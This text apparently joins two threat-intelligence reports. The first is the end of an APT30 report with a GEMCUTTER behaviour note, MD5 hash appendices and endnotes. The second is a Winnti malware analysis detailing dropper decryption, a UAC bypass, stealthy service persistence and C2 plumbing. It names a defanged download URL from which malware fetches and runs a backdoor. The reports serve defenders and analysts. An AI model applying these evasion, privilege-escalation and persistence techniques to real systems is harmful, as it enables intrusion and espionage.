The registry value HKEY_LOCAL_MACHINE\Software\Microsoft\GetMM\pid is set to the DUGN1O/fyf (CTFM0N.EXE with each character incremented by 1).
GEMCUTTER checks for the existence of the mutex MicrosoftZj (associated with BACKSPACE).
If the mutex doesnt exist, GEMCUTTER downloads a file from hxxp://www.lisword[.
]com/HM/Update.htm and saves it under windir as netsvc.exe.
A new process is started using windir\netsvc.exe55 as the executable file path.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 60 APPENDIX B MD5 HASHES Below are md5 hash values for a representative sample of APT30 malware.
MD5 Hash Malware Family 002e27938c9390a942cf4b4c319f1768 BACKSPACE 062fe1336459a851bd0ea271bb2afe35 BACKSPACE 09010917cd00dc8ddd21aeb066877aa2 BACKSPACE 0fcb4ffe2eb391421ec876286c9ddb6c BACKSPACE 12e1dcd71693b6f875a98aefbd4ec91a BACKSPACE 1f64afa4069036513604cbf651e53e0d BACKSPACE 29395c528693b69233c1c12bef8a64b3 BACKSPACE 37e568bed4ae057e548439dc811b4d3a BACKSPACE 40f47850c5ebf768fd1303a32310c73e BACKSPACE 414854a9b40f7757ed7bfc6a1b01250f BACKSPACE 428fc53c84e921ac518e54a5d055f54a BACKSPACE 4c10a1efed25b828e4785d9526507fbc BACKSPACE 4c6b21e98ca03e0ef0910e07cef45dac BACKSPACE 4e5c116d874bbaaf7d6dadec7be926f5 BACKSPACE 550459b31d8dabaad1923565b7e50242 BACKSPACE 59e055cee87d8faf6f701293e5830b5a BACKSPACE 5ae51243647b7d03a5cb20dccbc0d561 BACKSPACE 5b590798da581c894d8a87964763aa8b BACKSPACE 62e5d5e244059dc02654f497401615cc BACKSPACE 65232a8d555d7c4f7bc0d7c5da08c593 BACKSPACE 853a20f5fc6d16202828df132c41a061 BACKSPACE 95bfe940816a89f168cacbc340eb4a5f BACKSPACE 9c0cad1560cd0ffe2aa570621ef7d0a0 BACKSPACE a5ca2c5b4d8c0c1bc93570ed13dcab1a BACKSPACE a9e8e402a7ee459e4896d0ba83543684 BACKSPACE acb2ba25ef225d820ac8a5923b746cb8 BACKSPACE APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 61 Below are md5 hash values for a representative sample of APT30 malware.
MD5 Hash Malware Family b2138a57f723326eda5a26d2dec56851 BACKSPACE b590c15499448639c2748ff9e0d214b2 BACKSPACE b7b282c9e3eca888cbdb5a856e07e8bd BACKSPACE ba80e3ad617e6998f3c4b003397db840 BACKSPACE c95cd106c1fecbd500f4b97566d8dc96 BACKSPACE d38e02eac7e3b299b46ff2607dd0f288 BACKSPACE d8e68db503f4155ed1aeba95d1f5e3e4 BACKSPACE d93026b1c6c828d0905a0868e4cbc55f BACKSPACE db3e5c2f2ce07c2d3fa38d6fc1ceb854 BACKSPACE df1799845b51300b03072c6569ab96d5 BACKSPACE e26a2afaaddfb09d9ede505c6f1cc4e3 BACKSPACE e3ae3cbc024e39121c87d73e87bb2210 BACKSPACE e62a63307deead5c9fcca6b9a2d51fb0 BACKSPACE ec3905d8e100644ae96ad9b51d701a7f BACKSPACE ed151602dea80f39173c2f7b1dd58e06 BACKSPACE 07bb30a2a42423e54f70af61e20edca3 BACKSPACE 08f299c2d8cfe1ae64d71dfb15fe6e8d BACKSPACE 139158fe63a0e46639cc20b754a7c38c BACKSPACE 4a41c422e9eb29f5d722700b060bca11 BACKSPACE 646e2cfa6aa457013769e2b89454acf7 BACKSPACE 948a53450e1d7dc7535ea52ca7d5bddd BACKSPACE a2e0203e665976a13cdffb4416917250 BACKSPACE ad044dc0e2e1eaa19cf031dbcff9d770 BACKSPACE af1c1c5d8031c4942630b6a10270d8f4 BACKSPACE c6e388ee5269239070e5ad7336d0bf59 BACKSPACE c9484902c7f1756b26244d6d644c9dd5 BACKSPACE APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 62 Below are md5 hash values for a representative sample of APT30 malware.
MD5 Hash Malware Family cc06815e8d8c0083263651877decb44b BACKSPACE dc95b0e8ecb22ad607fc912219a640c1 BACKSPACE f97ec83d68362e4dff4756ed1101fea8 BACKSPACE 572c9cd4388699347c0b2edb7c6f5e25 BACKSPACE 6e689351d94389ac6fdc341b859c7f6f BACKSPACE b5546842e08950bc17a438d785b5a019 BACKSPACE 010ca5e1de980f5f45f9d82027e1606c BACKSPACE 0570066887f44bc6c82ebe033cad0451 BACKSPACE 0a4fdacde69a566f53833500a0d53a35 BACKSPACE 1133fe501fa4691b7f52e53706c80df9 BACKSPACE 2a2b22aa94a59575ca1dea8dd489d2eb BACKSPACE 2d75de9e1bb58fe61fd971bb720a49b7 BACKSPACE 40601cf29c1bbfe0942d1ac914d8ce27 BACKSPACE 44992068aab25daa1decae93b25060af BACKSPACE 49ee6365618b2a5819d36a48131e280c BACKSPACE 4b8531d294c020d5f856b58a5a23b238 BACKSPACE 4ee00c46da143ba70f7e6270960823be BACKSPACE 5ddbd80720997f7a8ff53396e8e8b920 BACKSPACE 65b984b198359003a5a3b8aaf91af234 BACKSPACE 6791254f160e98ac1f46b4d506b695ad BACKSPACE 7b111e1054b6b929de071c4f48386415 BACKSPACE 8022a4136a6200580962da94f3cdb905 BACKSPACE 8214b0e18fbcd5db6b008884e7685f2c BACKSPACE 8da9373fc5b8320fb04d6202ca1eb6f1 BACKSPACE 9c31551cd8087072d08c9004c0ce76c5 BACKSPACE APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 63 APPENDIX C ENDNOTES 1 While binary compile times can be modified or faked, we believe that compile dates for APT30 malware are reliable.
Given several hundred malware samples, the compile dates show a fairly regular distribution over the years 2005  present.
In addition, registration dates for the earliest known APT30 domains also support origins dating back to the same time frame.
2 We were able to verify that each files icon type (Adobe or Word) was consistent with the letter used (p or w).
Although we were only able to identify one malicious document used to deploy a ZRLnk variant (md5 hash d2661543c3c456f5fafdd97e31aaff17), the document type (an RTF file, typically opened by Microsoft Word) was also consistent with the version convention.
3 We did not have conclusive data to interpret the meaning of the last character N and Y, present in some samples.
Some evidence suggests that it may represent the inclusion or exclusion of additional malware features, such as the ability to bypass personal firewalls this appears to be true for at least one variant of BACKSPACE (Zj Listen).
4 The use of mutexes and events also supports version control, ensuring that the newer version of the malware executed during the self-update process replaces the previous version.
5 See Appendix A for a detailed description of BACKSPACE malware.
6 While the controller software refers to itself as NetEagle, it is used to manage backdoor clients for the malware we call BACKSPACE (also known as Lecna).
The malware we call NETEAGLE uses a different set of commands and is not compatible with the NetEagle controller.
In an attempt to avoid confusion, we will refer to the controller as the BACKSPACE controller, since it is used to manage BACKSPACE clients.
7 This aligns with early BACKSPACE compile dates of 2005.
8 BACKSPACE samples with md5 hash values acb2ba25ef225d820ac8a5923b746cb8 and c90f798ccfbedb4bbe6c4568e0f05b68 are two examples.
9 Additional paths with slight variations have also been observed in FLASHFLOOD, such as WINDIR\NtUninstallKB885884.
10 A controller that could be freely copied and distributed would erode the market for future custom software purchases.
11 See Appendix for detailed analysis of both BACKSPACE and NETEAGLE.
12 For example, the BACKSPACE B and Y commands see Appendix for details.
13 See Appendix for detailed analysis.
14 http://www.asean.org/asean/about-asean 15 http://www.asean.org/news/item/eighteenth-asean-summit-jakarta-7-8-may-2011 16 http://www.asean.org/news/asean-statement-communiques/item/joint-statement-the-seventh-asean-plus-three-labour- ministers-meeting-7th-almm3-phnom-penh-11-may-2012 17 http://maritimesecurity.asia/free-2/asean-2/asean-china-talk-on-east-sea/ 18 http://www.aseanindia.com/summit-2012/ 19 http://en.wikipedia.org/wiki/List_of_Secretaries-General_of_the_Association_of_Southeast_Asian_Nations 20 http://www.asean.org/news/asean-secretariat-news/item/asean-today-2 21 For the ZJ Listen variants, the Y vs. N in the version number appears to differentiate between variants that attempt to bypass certain host-based firewalls by generating mouse-click events on dialog box buttons.
The Y variants include this feature the N variants do not.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 64 22 The paths WINDIR\NtUninstallKB900727 and WINDIR\NtUninstallKB885884 are used by some variants of the FLASHFLOOD malware, one of three components believed to be used to steal data from air-gapped networks.
23 Two outliers were compiled in May 2011 those samples also used the aseanm.com C2 domain and may have been created to target the 18th ASEAN Summit.
24 CSIDL (constant special item ID list) values are used to identify frequently used folders that may not have the same path on different Windows systems.
CSIDL_TEMPLATES corresponds to the folder used to store document templates for example, C:\Documents and Settings\username\Templates.
See https://msdn.microsoft.com/en-us/desktop/ bb76249428vvs.8529.aspx for additional detail.
25 The threat actor can provide a target IP address or hostname with the ( command.
26 Most ZJ Listen samples were compiled on December 31, 2012 and share similar version numbers with the ZJ Link samples from April 2013 (e.g., version strings containing Lan2.2Lnk for ZJ Listen and F2.2Lnk or F2.3Lnk for ZJ Link).
27 http://www.mfa.gov.bt/wp-content/uploads/2013/08/press-release11.pdf 28 Shear, Michael.
White House Urges China to Act on Journalists Visas.
Jan 30, 2014.
http://www.nytimes.
com/2014/01/31/world/asia/white-house-urges-china-to-act-on-journalists-visas.html 29 BACKSPACE is also known as Lecna and may be detected by security vendors by either name  e.g., Backdoor.
APT.Lecna.
30 Comparison is generalized individual samples may vary.
31 The hex representation of each ASCII character is incremented by one.
M (0x4D) becomes N (0x4E), .
(
0x2E) becomes / (0x2F), etc.
32 https://msdn.microsoft.com/en-us/library/windows/desktop/aa36574028vvs.8529.aspx 33 Analysis of other BACKSPACE variants suggests that the firewall bypass features may be a modular capability that can be compiled into different versions at will.
Preliminary analysis suggests that version numbers for some BACKSPACE variants may include a Y or an N to indicate the presence or absence of this feature.
34 Version information is the OSVERSIONINFO struct data returned by a call to GetVersionEx.
35 Analysis of other versions of BACKSPACE showed that Port3 may be used for an interactive remote command shell, but that function was not supported in sample 6ee35da59f92f71e757d4d5b964ecf00.
36 https://msdn.microsoft.com/en-us/library/windows/desktop/aa36574028vvs.8529.aspx 37 Due to limited availability of products localized for languages like Thai, Tagalog, or others used in the Southeast Asia region, English and Chinese would likely be the most common versions used by organizations in that area.
38 The W is overwritten by the malware version string.
The version string is 5 bytes including the NULL character.
It appears the beacon was intended to have a 4 byte version string.
When copying the 2.18\x00, the last \x00 overwrites the W character.
39 Persistence may be provided by other files used to retrieve or install NETEAGLE for example, the MILKMAID/ ORANGEADE droppers create a shortcut file to establish persistence for a second-stage file downloaded by their CREAMSICLE payloads.
40 It is possible that this behavior is configured within the binary at compile time, or has been otherwise modified in this version.
41 SHIPSHAPE determines the disk size by TotalNumberOfBytes returned from GetDiskFreeSpace.
The return value is typically the size of the drive or, if quotas are enabled, the value is the size of the quota.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 65 42 Because the copied executables are external to the SHIPSHAPE malware, their content or purpose is unknown.
FireEye believes that SHIPSHAPE may be used to copy tools such as SPACESHIP, which could then be transferred (via the removable drive) to another victim computer.
43 The sample f18be055fae2490221c926e2ad55ab11, described here, targets folders and .doc/.docx files, although the sample b249bcf741e076f11b6c9553f6104f16 contains icons for a much broader range of file types within its resource section.
44 These are believed to be directories used by other pieces of the malware ecosystem.
The SPACESHIP sample analyzed below references both the \msdn\ and \Recycled\ directories on a removable drive the FLASHFLOOD sample references \LDDATA\ and \Recycled\.
45 Info.txt is used as a log file where information associated with scanning and file information is kept.
46 Likely an updated configuration file.
Note the missing \ in the directory path between FoxPro and ld.ini.)
47 The purpose of this activity is unclear.
SENS (the System Event Notification Service) can be used to support mobile computers or computers on high-latency networks.
See https://msdn.microsoft.com/en-us/library/windows/desktop/ cc18568028vvs.8529.aspx.
48 See https://msdn.microsoft.com/en-us/library/ms62964928vvs.8529.aspx.
49 See https://msdn.microsoft.com/en-us/library/windows/desktop/ms72428428vvs.8529.aspx.
50 FLASHFLOOD determines the disk size using the TotalNumberOfBytes returned from GetDiskFreeSpace.
The return value is typically the size of the drive or, if quotas are enabled, the value is the size of the quota.
51 Presumably files in these directories were already archived, e.g., when copied to the drive by SPACESHIP.
52 The file China MFA Press Briefing 29October 2012.doc (md5 hash f054c0f8c5b4c2a5eb30a16ebe09d8d0) is an example of an exploit document that drops ORANGEADE and the DLL variant of CREAMSICLE.
53 CSIDL_STARTUP is a file system directory that corresponds to the users Startup program group for example, C:\Documents and Settings\[user]\Start Menu\Programs\Startup under Windows XP or C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup under Vista/Windows 7.
54 Netsvc.exe is presumably an updated backdoor, downloaded if the BACKSPACE mutexes are not found on the victim host.
55 Netsvc.exe is presumably an updated backdoor, downloaded if the BACKSPACE mutex is not found on the victim host.
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SP.SYR.EN-US.022015 FireEye, Inc.   1440 McCarthy Blvd.
Milpitas, CA 95035    408.321.6300    877.FIREEYE (347.3393)    infofireeye.com    www.fireeye.com
1 WINNTI ANALYSIS 1 As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware.
The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.1 What is of note, however, is the increased scrutiny found within the Winnti dropper component that attempts to frustrate analysis of the malware.
Based on multiple active compromises by the Axiom threat group, Novetta was able to capture and analyze new Winnti malware samples.
It should be noted that operators of Winnti that were observed by Novetta leveraged existing Axiom-specific malware infections (Hikit)  to move laterally and install Winnti in the furtherance of their objectives.
It is with high confidence that we assess the operators of Winnti in these monitored environments were not the same actors who originally installed and leveraged Hikit.
This report will focus on three different aspects of the Winnti malware: the start-up sequence of Winnti from the initial infection to steady state, the basics of the Winnti malware, and the command and control (C2) communication protocol.
FROM INSTALLATION TO EXECUTION The installation process of Winnti by means of the dropper has changed very little since the Winnti version 1.1 (as defined by Kaspersky) droppers of July 2012.
The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage (in order to prevent muddying the versioning scheme Kaspersky has already established).
There are four distinct components within the Winnti malwares installation to execution cycle: a dropper, a service, an engine, and a worker.
The installation that Novetta observed of Winnti on a victims machine requires multiple steps and depends on the dropper, service, and the loader component in order to accomplish the steps.
After a successful infection, the activation of Winnti on a victims machine requires multiple steps as well as coordination between the service, engine, and worker components.
The complexity of the installation and activation processes is significant and more involved than typical malware installation and activation procedures.
This additional complexity ultimately does not seem to serve a significant purpose other than to perhaps frustrate analysis by defenders.
1  Kaspersky.
Winnti: More than just a game.
http://kasperskycontenthub.com/wp- content/uploads/sites/43/vlpdfs/winnti-more-than-just-a- game-130410.pdf.
10 April 2014.
2WINNTI ANALYSIS INSTALLATION PHASE 1: DROPPER ACTIVITIES The dropper is, as the name implies, the component responsible for dropping the Winnti malware on a victims machine.
The dropper performs the following activities (with version- specific annotation): 1.
[version 3.0] The dropper verifies the existence of a single parameter on the command line and terminates if the parameter is not found.
The dropper later uses this parameter as a decryption key.
2.
The dropper loads CreateProcessA via a call to GetProcAddress.
3.
The dropper extracts an embedded data blob, decrypts the data blob, and decompresses the data blob into a heap buffer.
The data blob in step 3 begins with a header structure that describes key attributes of the data blob.
The format of the header is as follows: OFFSET SIZE DESCRIPTION 0x0 8 Magic bytes Tunnel\0\0 0x8 2 Unknown 0xA 4 Size of the blob after decompression 0xE 4 Size of the blob prior to decompression (current size in memory) In order to decrypt the data blob, the dropper will iterate over each of the bytes that follows the header (up to the value specified in 0xE offset of the header), XOR the bytes by 0x36, and then perform a nibble swap, ZLib-compressed data immediately follows the header.
The dropper will allocate a heap buffer (with a size specified by the value in offset 0xA of the header) and call the ZLib inflate function.
The decompressed data blob contains a second header, and the blobs header consists of the following two entries: OFFSET SIZE DESCRIPTION 0x0 4 Offset of worker components image (generally 0 and unused) 0x4 4 Offset of server components image 4.
The dropper uses the value in offset 0x4 of the decompressed data blobs header to determine the size of the worker components size and writes that many bytes of the decompressed data blob, starting after the header, to a file within TEMP.
The file has a random name, but the extension is always .tmp.
5.
[version 3.0] The remaining bytes within the decompressed data blob are decrypted using what appears to be DES encryption and the key the attacker provided via the first argument on the command line.
6.
The dropper generates another randomly named file within TEMP with the file extension of .tmp with the remaining bytes within the decompressed data blob.
This file becomes the service component.
3WINNTI ANALYSIS The decryption of the service component is a new feature within the version 3.0 lineage of Winnti and provides the benefit of preventing defenders from attempting to run the dropper for analysis purposes.
7.
[version 3.0] The presence of the MZ magic bytes in the first two bytes of the service component are verified to ensure that the file was properly decrypted (and by extension, to verify that the supplied password was correct).
If the MZ bytes are not found, the dropper quietly terminates.
8.
[version 3.0] The filenames and paths of the service and worker components are appended to the end of the worker components file in a structure 520 byte array.
The irst 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component.
The entire 520 byte array is encrypted by XORing each byte with 0x99.
9.
The service components file is scanned for the tag Coopre.
If this tag is located, the dropper decrypts the configuration data blob attached to the end of the droppers executable and appends the data to memory immediately followed the Coopre magic byte.
The dropper will then append the filenames and paths of the service and worker components to the end of the worker components file in a structure 520 byte array.
The first 260 bytes contain the filename and path of the worker component, and the last 260 bytes contain the filename and path of the service component.
The entire 520 byte array is encrypted by XORing each byte with 0x99.
10.
The dropper instructs the service component to complete the installation by using rundll32 to activate the service components Install [pre-version 3.0] or DlgProc [version 3.0] function.
The service component is self-installing when an attacker (or the dropper) activates the Install or DlgProc export functions.
Install or DlgProc requires the full name and path of the dropper component.
The service component can locate the worker component based on the appended filename and path strings located at the end of itself.
Once the dropper calls CreateProcessA to activate rundll32, the droppers task is complete, and it quietly terminates.
At this point, it is up to the service component to continue to install and, eventually, to activate the Winnti malware.
INSTALLATION PHASE 2: SERVICE ACTIVITIES The service component is at its core an unsophisticated scaffold whose job is to activate the engine component.
The distinction between pre-version 3.0 Winnti variants and version 3.0 variants is most evident in the versions service components.
As a result of the larger difference in procedure between the pre-version 3.0 and version 3.0 variants, the discussion on the Installation Phase 2 sequence will focus on only the version 3.0 service component.
The service component has only two functions: activate the installer functionality of the engine component or respond as a service DLL and activate the engine components malware start-up routines.
Both modes of the service component have a common initialization sequence: 1.
DllMain, upon activation, manually loads the engine binary into memory.
2.
The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure.
4WINNTI ANALYSIS 2  K. Kleissner.
UAC Bypass for Windows 7 RTM, SP1/ Windows 8 DP, CP all 32-bit for admin with default UAC settings.
http://download.pureftpd.
org/pub/misc/UAC.cpp.
Accessed 1 December 2014 The engine component exists as a data blob within the service component.
The executable image of the engine component contains a stripped-down PE/COFF header that is missing several key attributes, such as the MZ and PE magic bytes as well as the CPU architecture identifier.
These missing pieces require the service component to manually load the engine components executable image into memory.
This includes allocating the appropriate memory, loading the sections appropriately, applying location fix-ups, and loading the necessary imports.
The advantage of going to this much effort from an attackers perspective is that the engine, which is responsible for loading the worker, never touches the disk, thus depriving analysts of a necessary component for analysis when using file-based artifact collection techniques.
3.
The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo manually or from the dropper).
4.
If neither host executable is found, the Install function of the engine is activated.
Otherwise, the DllMain function returns with a success status.
5.
Within the DlgProc function, the service will verify the non-NULL status of the DeleteF function pointer.
If the function pointer is non-NULL, the DeleteF function (of the engine) is called.
6.
The DlgProc function next verifies that the Install function pointer is non-NULL and, if the pointer is indeed non-NULL, calls the engines Install function after supplying the path of the service executable.
Once the service component passes control to the engine components Install function, the service component becomes little more than a placeholder.
The service component will remain active only so long as the Install function is active.
The engine component then becomes the active component and will conclude the installation process.
INSTALLATION PHASE 3: ENGINE ACTIVITIES The engine component exists only in memory and is completely dependent on the service component remaining active in order to have a process space in which to operate.
The installation functionality for the version 3.0 Winnti malware variants exists within the Install export.
When activated, the Install export requires a full filename and path back to the service binary.
1.
The Install function checks if the process responsible for calling the Install function is explorer.exe.
If so, the function uses a variant of the sysprep User Account Control (UAC) bypass.2 2.
The current privilege level of the process is verified to be suitable for installing additional binaries.
The test consists of determining if the operating system is newer than Windows XP and if the process has administrative privileges.
If these conditions are met, the dropper is called again from explorer.exe.
The authors went to great pains to ensure that the installation process had a suitable chance of performing its function both undetected (by using a UAC bypass) and with suitable privileges.
The use of the sysprep UAC bypass and the verification of process privileges indicate that the authors were at least aware of the changing security environment in later versions of Windows and were adapting to ensure the successful propagation of their tools on a victims machine.
5WINNTI ANALYSIS 3.
The configuration information implanted at the end of the service component is extracted and decrypted.
The configuration information for the infection typically exists at the very end of the service configuration.
The last DWORD of the file contains an offset from the end of the file to the beginning of the configuration.
The structure of the configuration is as follows: struct ScheduleEntry  __int16 wDayOfWeek __int16 wStartTime __int16 wEndTime  struct Config  char szC2[100] char szCampaignID1[32] char szCampaignID2[32] char szCampaignIDNumber[24] DWORD unknown0 DWORD unknown1 DWORD unknown2 DWORD dwCommMode DWORD dwProxyType char szProxyServer[32] char szProxyUser[32] char szProxyPassword[32] ScheduleEntry arrActivePeriods[7] DWORD iReconnectTime  The configuration is encrypted using a rolling XOR with the first byte of the XOR being 0x99.
The XOR increments one byte at a time until a wraparound occurs at 0xFF.
4.
The files SYSDIR\wmtsk.dll and SYSDIR\wmm2.dat are checked to ensure that they do not exist and that they are not directories.
If either condition is not met, an INI file named SYSDIR\ otfkyt.dat is generated with the UPDATE section containing Filepath to service component DLL and the process terminates.
5.
A global event named Global\ 5164FDA21542C0EB638BA110F9F3ADAF establishes a poor mans mutex, indicating that the installation process is currently ongoing.
To give other processes time to read the event check, a 12-second delay is introduced before continuing the installation process.
6.
The service component is copied from the TEMP directory to SYSDIR\wmtsk.dll, and the worker component is copied from the TEMP directory to SYSDIR\wmm2.dat.
7.
The timestamps of both wmtsk.dll and wmm2.dat are set to match that of cmd.exe.
8.
The original TEMP instances of the worker and service DLLs are deleted.
6WINNTI ANALYSIS 9.
The configuration is appended to the wmtsk.dll file using the same rolling XOR (starting with the value 0x99).
The bulk of the installation of Winnti is now complete.
The dropped files are now in the correct location and ready for activation.
The final steps of the installation establish the persistence model for the malware and begin the activation of the malware on the victims system.
10.
A new service entry is manually added to the registry to ensure the malware will activate upon reboot of the victims machine.
The new service is named wind0ws, with a display name of automaticallyssl and the description of Monitoring of hardwares and automatically updates the device drivers.
11.
WinExec is used to call the command net start wind0ws.
12.
The installation completes by returning control to the service component, which terminates quietly.
The service that the engine component installs runs under the svchost.exe executable as a netsvc.
The engine will directly modify the registry after using the CreateServiceA function to establish the basics of the new service.
The use of direct registry modifications to entries under the LOCAL MACHINE (HKLM) hive requires elevated privileges, which may explain why the authors went to such great pains to ensure the installation process occurred in a suitable process space.
ACTIVATION PHASE 1: SERVICE ACTIVITIES Activation of the Winnti malware begins whenever the service component is activated.
Typically, activation is the result of the registered service (e.g., wind0ws) being activated by either a reboot of the victims machine or by the net start command being issued during the final phase of the installation process.
In either case, the DllMain function is called prior to the ServiceMainEx function of the service component being called by Windows, thus kicking off the activation of the Winnti version 3.0 malware.
1.
The DllMain function, upon activation, manually loads the engine binary into memory.
2.
The exports from the engine component (Install, DeleteF, and Workman) are loaded into a memory structure.
3.
The service component determines if the host binary responsible for the service component is either svchost.exe (if run as a service) or rundll32.dll (if loaded pseudo-manually or from the dropper).
4.
If neither host executable is found, the Install function of the engine is activated.
Otherwise, the DllMain function returns with a success status.
With the initialization of the service components DLL complete, Windows calls the ServiceMainEx function to activate the service.
The ServiceMainEx function, like the DlgProc function, is extremely lightweight in its functionality.
5.
The ServiceMainEx function registers a service handler function to respond to service status control requests from Windows.
6.
The service is set to the Running state.
7WINNTI ANALYSIS 7.
An unnamed event is created.
8.
The engines Workmain function is called with both the path to the host executable (the service DLL) and the name of the service supplied as parameters.
9.
A sleep of 3 seconds occurs before the function waits indefinitely for the unnamed event to become set.
The ServiceMainEx function does little more than establish a basic scaffold for activating the Workmain function of the engine component.
The service remains active, thus providing a process space for the engine, until the unnamed event is set.
The unnamed event becomes set only after the service receives the SERVICE_STOP signal from Windows.
After the service component calls the Workmain function of the engine component, the engine component picks up the baton to complete the next phase of the activation sequence.
ACTIVATION PHASE 2: ENGINE ACTIVITIES The engine components Workmain function, much like the services ServiceMainEx function, provides a scaffolding for the next phase of the activation.
In this case, that next phase is dependent on the worker component.
1.
The Workmain function determines if an active activation thread exists within the process.
If so, the Workmain function simply returns to avoid activating two or more concurrent instances of Winnti under the same process space.
2.
The configuration is extracted from the service component based on the filename and path supplied to the Workmain function from the ServiceMainEx function.
If the configuration extraction fails, the filename and path of the service DLL is gleaned from the ServiceDLL registry value for the service, and the configuration is extracted from that file.
3.
The path to the worker component (e.g., SYSDIR\wmm2.dat) is extracted from the service components file.
4.
A new thread responsible for the activation of the worker and engine components is generated.
5.
The Workmain function returns.
Workmain is a very simple function with a singular purpose: collect the data needed to locate the necessary components for activating Winnti on the victims system.
With the necessary information found, a new thread is generated that allows the service component to decouple from the worker components functionality.
Had this not occurred, the service component would not be able to respond to Windows status requests, and the service would have appeared to be hung, causing Windows to terminate the service.
The activation thread generated within the Workmain function loads the worker component, activates the worker component, and provides a thread independent of the services thread under which to execute.
6.
The path to the worker components file is verified to exist.
If the worker components file does not exist, the activation process terminates immediately.
8WINNTI ANALYSIS 7.
The worker component is loaded into memory.
8.
The worker components work_start function is called.
The worker components executable image is encrypted.
As part of the loading process, the engine must XOR each byte of the worker components file with the value 0x36 and perform a nibble swap.
The worker components executable image suffers from the same malformed PE/COFF header that the engine components image exhibits.
As a result of the malformed PE/COFF header and the encrypted file image, the engine must manually load the worker components image into memory in exactly the same manner that the service component loaded the engine component manually into memory.
The work_start function is the true beginning of the Winnti malware.
The work_start function performs the various Remote Administration Tool (RAT) initialization functions of Winnti before activating the communication subsystem of Winnti.
The result of calling the work_start function is the completed activation of Winnti and placing the system in a steady-state mode of C2 server requests and response actions.
Once the work_start function initializes the Winnti malware, a new thread is generated to house the Winnti RAT functionality, allowing the work_start function to return control back to the activation thread within the engine component.
9.
Upon completion of the work_start function, the activation thread sleeps for 30 seconds before entering an infinite loop.
10.
The loop begins by verifying that the global event established during the installation process (Phase 3, step 5) does not exist.
If the event exists, the loop is broken, the event is set, the Winnti malware shuts down by means of a net stop command, and the service and worker component files are deleted.
11.
The presence of the SYSDIR\otfkty.dat file is checked, and if the file does not exist, control returns to the top of the loop (step 10).
12.
The SYSDIR\otfkty.dat file is read as an INI file, the filename specified by the File variable under the UPDATE section is read, and the otfkty.dat file is deleted from disk if the file specified by the File variable exists and is not a directory.
13.
If the worker has a work_end export, the work_end function is called.
14.
The configuration of SYSDIR\wmtsk.dll is loaded into memory.
15.
If SYSDIR\sysprep\cryptbase.dll exists, the file is deleted.
16.
The worker components file is deleted from disk.
17.
The file specified by otfkty.dats File variable is copied to the filename of the worker components file.
18.
The timestamp of the new worker component file is set to that of cmd.exes timestamp.
19.
The file specified by otfkty.dats File variable is deleted.is deleted.
20.
After sleeping for 3 seconds, the new worker components image is loaded into memory, and the new worker components work_start function is executed.
21.
Control returns to the start of the loop (step 10).
9WINNTI ANALYSIS The authors of version 3.0 of Winnti use the engines scaffolding to allow for on-the-fly worker component updating without a need to restart the service.
The infinite loop listens for the indicator that the engines Install function is performing an installation (with an existing Winnti installation, this effectively becomes an update).
As part of the installation process by the engine components Install function, the presence of an existing service and worker components files is verified (Installation Phase 3, step 4), resulting in the generation of the SYSDIR\otfkty.dat file.
The presence of the otfkty.dat file informs the engines activation thread that a new worker component is available and should be loaded.
As a result, the engine cleanly shuts down the existing worker component by calling its work_end function, deletes the old worker, and replaces the worker components file before loading and executing the new worker component.
The beauty of this approach is that not only does it allow hot patching of the malware but it does so without restarting the service, which could indicate an erroneous system event to an astute systems administrator.
THE BASICS OF WINNTIS WORKER The Winnti worker component is an exercise in over engineering.
As with the other components within the Winnti system, such as the service and the engine, the worker component is a scaffold for additional functionality.
Unlike the service and engine components, the scaffolding provided by the worker component is substantial and complex, but at its core, the worker component has two primary functions: communication interface and plugin management.
The communication subsystem of the worker module supports three communication protocols, but the framework is developed in such a way that adding additional protocols requires little more than adding a different communication mode module to the source code at compile time.
The communication subsystem in the samples analyzed by Novetta includes three modes: custom TCP protocol (used when Config.dwCommMode is set to 1), encapsulation within HTTP (used when Config.
dwCommMode is set to 3), and encapsulation within HTTPS (used when Config.dwCommMode is set to 2).
To further expand the reach of the HTTP and HTTPS modes, the HTTP and HTTPS modes can utilize a proxy local (or potentially external) to the victims computer.
In order to support a variety of different communication protocols and methods, the communication subsystem relies heavily on callback functions.
For instance, when a communication module (be it the custom TCP protocol, HTTP, HTTPS, or some other type) initializes, it supplies a series of callback functions to the communication subsystem.
The callback functions provide hooks to the communication subsystem for handing off important communication events.
Figure 1: Setting Callbacks for the Custom TCP Protocol Communication Mode Figure 1 illustrates the worker component using the Connection:SetConnectivityCallbacks function to register callback functions that handle the following series of events.
1.
When a new connection occurs (ncOnConnect_callback) 2.
When data is received over the network connection (ncOnRecvData_callback) 3.
When the connection terminates by the socket closing (ncOnDisconnect_callback) 4.
When the other end of the connection disconnects, but has not closed, the connection (ncOnClientDisconnect_callback) 10WINNTI ANALYSIS By using callbacks, it is relatively easy for the authors of the Winnti malware to add new communication protocols without making significant changes to the source code.
There is, however, the question as to why the authors chose to use a callback scheme for this purpose instead of a more modern object-oriented approach, such as using derived classes in C. The callbacks within the communication subsystem cloud an important aspect of the nature of the communication within Winnti: the communication subsystem is largely asynchronous.
The communication subsystem allocates a thread solely for listening to incoming data, determining to which channel the data belongs, queuing the data in a series of network queue structures, and alerting the communication subsystem that the ncOnRecvData_callback (or equivalent) callback should be called to address the incoming data.
This allows the sending of data from the communication subsystem to decouple the receiving of data from the communication subsystem thereby providing asynchronous data streams.
The fact that the data streams are decoupled does introduce some complexity, as it is up to the higher layers of the data stream to reassemble the data in the appropriate form for whatever task to which the data applies.
Evidence suggests, however, that despite the fact that sending and receiving data is asynchronous within the communication subsystem, in practice the data follows a standard request-and-reply model in which the Winnti malware makes a request over the network and then waits for a reply before repeating the sequence.
By itself, the worker component does very little.
